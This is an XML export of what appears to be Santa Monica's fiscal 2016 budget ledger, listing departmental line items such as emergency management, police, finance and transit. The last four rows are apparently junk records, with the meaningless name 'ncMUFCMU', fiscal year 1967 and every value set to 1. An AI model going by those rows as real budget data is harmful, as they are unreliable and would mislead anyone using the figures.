<row _id="22663"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>39632</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39632</total></row>
<row _id="22664"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12760</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12760</total></row>
<row _id="22665"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>555218.0</object><object_description>COMMUNITY EMERGENCY RESP TEAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>24800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24800</total></row>
<row _id="22666"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-29771</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-29771</total></row>
<row _id="22667"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2210</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2210</total></row>
<row _id="22668"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="22669"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9482</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9482</total></row>
<row _id="22670"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2596</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2596</total></row>
<row _id="22671"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22672"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>408690.0</object><object_description>AFFORD HSING COMM LINKAGE FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-21000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-21000</total></row>
<row _id="22673"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22674"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22675"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22676"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22677"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>408320.0</object><object_description>LANDSCAPE &amp; IRRIG PLAN CHECK R</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-41534</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-41534</total></row>
<row _id="22678"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522991.0</object><object_description>FREIGHT AND SHIPPING</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>78443</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>78443</total></row>
<row _id="22679"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>409220.0</object><object_description>LOCAL COASTAL PROGRAM GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-100000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-100000</total></row>
<row _id="22680"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22681"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409008.0</object><object_description>CHILDCARE-APRIL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-31617</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-31617</total></row>
<row _id="22682"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409009.0</object><object_description>CHILDCARE-MAY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-28731</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-28731</total></row>
<row _id="22683"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409020.0</object><object_description>ENRICHMENT PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22684"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409031.0</object><object_description>CAMP SM-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-3266</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3266</total></row>
<row _id="22685"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409033.0</object><object_description>CAMP SM-SUMMER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-70240</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-70240</total></row>
<row _id="22686"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409053.0</object><object_description>MIDDLE SPORTS-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-26082</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-26082</total></row>
<row _id="22687"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>566620.0</object><object_description>FIRE PREVENTION EDUCATION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20400</total></row>
<row _id="22688"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>103175</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>103175</total></row>
<row _id="22689"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579963.0</object><object_description>BBB-GEN FUND REIMB-FIN</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>269786</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>269786</total></row>
<row _id="22690"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511850.0</object><object_description>OPEB PAYMENT ARC</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>36987</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>36987</total></row>
<row _id="22691"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1860767</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1860767</total></row>
<row _id="22692"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-37806</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-37806</total></row>
<row _id="22693"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3920</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3920</total></row>
<row _id="22694"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13461</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13461</total></row>
<row _id="22695"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1038</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1038</total></row>
<row _id="22696"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>556010.0</object><object_description>UTILITY CONTRACTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>492758</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>492758</total></row>
<row _id="22697"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="22698"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>13880</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13880</total></row>
<row _id="22699"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1157</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1157</total></row>
<row _id="22700"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11810</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11810</total></row>
<row _id="22701"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579964.0</object><object_description>BBB-GEN FUND REIMB-HR</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>91979</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>91979</total></row>
<row _id="19063848"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="19632381"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="19668003"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="19672085"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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